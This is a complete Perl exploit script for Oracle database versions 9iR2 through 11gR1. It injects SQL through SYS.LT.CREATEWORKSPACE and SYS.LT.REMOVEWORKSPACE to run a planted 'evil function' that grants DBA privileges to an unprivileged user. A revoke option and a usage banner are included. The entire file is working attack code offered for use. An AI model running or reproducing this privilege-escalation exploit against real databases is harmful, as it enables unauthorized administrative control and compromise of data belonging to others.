#!/usr/bin/perl
#
# http://www.purificato.org/
#
# Oracle SYS.LT.REMOVEWORKSPACE exploit (9iR2/10gR1,10gR2,11gR1)
#
# Grant or revoke dba permission to unprivileged user
# 
# 
#   REF:    http://www.google.it/search?q=SYS.LT.REMOVEWORKSPACE 
#   
#   AUTHOR: Andrea "bunker" Purificato
#           http://www.purificato.org
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
# 
#

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
    
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
     -h     <host>     target server address
     -s     <sid>      target sid name
     -u     <user>     user
     -p     <passwd>   password 

     -g|-r             (g)rant dba to user | (r)evoke dba from user
    [-P     <port>     Oracle port]

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT DBA TO $user";
print "[-] Wait...\n";

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
 AUTHID CURRENT_USER AS 
 PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
 EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; 
 RETURN(0);
END;
} );
 
print "[-] Go...\n";
my $sth = $dbh->prepare( qq{
BEGIN
  SYS.LT.CREATEWORKSPACE('x''||$user.own||''--'); 
  SYS.LT.REMOVEWORKSPACE('x''||$user.own||''--');
END;});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
